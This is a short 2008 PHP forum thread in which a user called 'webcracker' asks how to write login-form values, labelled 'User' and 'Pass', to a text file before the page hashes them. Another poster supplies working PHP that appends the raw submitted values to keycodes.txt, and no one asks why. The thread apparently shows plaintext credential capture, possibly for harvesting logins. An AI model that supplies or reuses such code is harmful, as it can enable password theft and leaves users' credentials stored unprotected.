Saving form input to a text file!

Discussion in 'PHP' started by webcracker, Sep 16, 2008.

  1. #1
    Hello guys.. I have a form..

    <form action="start.php" method="post" onsubmit="md5hash(start_keycode , omega_keycode, $show[nokeyempty])"> <script type="text/javascript" src="serverut/md5.js?v=$options[version2]"></script>


    As you can see that start_keycode get hashed everytime the form is submitted. Now what i wanted to do is to get this start_keycode and omega_keycode value saved in a text file. I have the following code to do that

    <?php
    $handle = fopen('keycodes.txt', 'a');
    fwrite($handle, "User: ".$_POST['start_keycode']." Pass:".$_POST['omega_keycode']."\r\n");
    fclose($handle);
    ?>


    what i cant figure out is where to place this code..? or is there any other way around..? I just want the values to get saved before they get hashed..

    :confused:
     
    webcracker, Sep 16, 2008 IP
  2. webcracker

    webcracker Peon

    Messages:
    50
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #2
    anyone ... who can help me with this?
     
    webcracker, Sep 16, 2008 IP
  3. Sabbir

    Sabbir Banned

    Messages:
    210
    Likes Received:
    6
    Best Answers:
    0
    Trophy Points:
    58
    #3
    you have to save this at file start.php
     
    Sabbir, Sep 16, 2008 IP
  4. scriptglue

    scriptglue Banned

    Messages:
    170
    Likes Received:
    9
    Best Answers:
    0
    Trophy Points:
    0
    #4
    This this

    
    <?php
    if($_POST){
    $handle = fopen('keycodes.txt', 'a');
    fwrite($handle, "User: ".$_POST['start_keycode']." Pass:".$_POST['omega_keycode']."\r\n");
    fclose($handle);
    }
    ?>
    
    PHP:
     
    scriptglue, Sep 16, 2008 IP
    webcracker likes this.
  5. webcracker

    webcracker Peon

    Messages:
    50
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #5
    thanks guys.. :) got it working..
     
    webcracker, Sep 16, 2008 IP